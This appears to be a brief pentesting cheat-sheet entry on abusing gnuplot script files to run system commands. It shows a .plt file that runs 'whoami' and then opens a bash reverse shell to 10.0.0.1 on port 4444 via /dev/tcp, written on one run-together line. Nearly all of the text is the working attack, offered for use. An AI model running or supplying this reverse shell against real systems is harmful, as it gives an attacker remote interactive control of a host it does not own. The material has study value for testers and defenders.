The script file of gnuplot can be used to execute system commands as below.
gnuplot
gnuplot test.plt
Contents of the .plt is like the following.
.plt
system "whoami" # Reverse shell system "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"